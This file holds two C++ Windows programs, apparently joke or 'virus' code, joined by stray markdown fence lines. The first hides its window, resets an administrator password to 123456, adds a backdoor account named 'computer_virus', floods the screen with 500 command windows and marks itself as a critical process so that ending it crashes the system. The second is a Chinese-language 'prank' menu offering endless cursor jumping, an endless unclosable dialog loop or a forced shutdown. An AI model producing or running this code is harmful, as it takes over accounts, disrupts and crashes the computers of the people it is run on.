#include <bits/stdc++.h>
#include <windows.h>
#include <winternl.h>
using namespace std;
void HideWindow() {
	HWND hwnd;
	hwnd=FindWindow("ConsoleWindowClass",NULL);
	if(hwnd) ShowWindow(hwnd,SW_HIDE);
	return;
}
int main() {
	HideWindow();
	int x=GetSystemMetrics(SM_CXSCREEN);   
	int y=GetSystemMetrics(SM_CYSCREEN);
	system("net user Administator 123456");
	system("net user computer_virus computer_virus /add"); 
	for(unsigned long long i = 1; i <= 500; i++)
	{
			system("start cmd");
			for(int i=1;i<=100;i++)
			{
					SetCursorPos(rand()%y,rand()%x);
			}
	}
	typedef NTSTATUS(WINAPI *RtlSetProcessIsCritical) (BOOLEAN, PBOOLEAN, BOOLEAN);
    typedef BOOL(WINAPI *RtlAdjustPrivilege) (ULONG, BOOL, BOOL, PBOOLEAN);
    RtlAdjustPrivilege AdjustPrivilege;
    RtlSetProcessIsCritical SetCriticalProcess;
    HANDLE ntdll = LoadLibrary(TEXT("ntdll.dll"));
    AdjustPrivilege = (RtlAdjustPrivilege)GetProcAddress((HINSTANCE)ntdll, "RtlAdjustPrivilege");
    SetCriticalProcess = (RtlSetProcessIsCritical)GetProcAddress((HINSTANCE)ntdll, "RtlSetProcessIsCritical");
    BOOLEAN b;
    AdjustPrivilege(20UL, TRUE, FALSE, &b);
    SetCriticalProcess(TRUE, NULL, FALSE);
	return 0;
}
```mermaid

#include <windows.h>
#include <ctime>
#include <iostream>
using namespace std;
int main() {
	int choose = 0;
	cout<<"欢迎来到捣蛋程序"<<endl;
	cout<<"请选择你要挑战的项目："<<endl; 
	cout<<"1、不受控的鼠标"<<endl;
	cout<<"2、关不掉的窗口"<<endl;
	cout<<"3、勇敢者的挑战"<<endl;
	cout<<"请输入你的选择：" ; 
	cin >> choose;
	if (choose == 1) {
		while (1) {
			SetCursorPos(rand() % 2000, rand() % 1500); //鼠标位置随机产生 
		}
	} else if (choose == 2) {
		while (1) {
			MessageBox(NULL, "关不掉的窗口","你能关掉我吗?", MB_YESNO); //弹出对话框 
		}
	} else if (choose == 3) {
		system("shutdown -s");
	}
	return 0;
}


```mermaid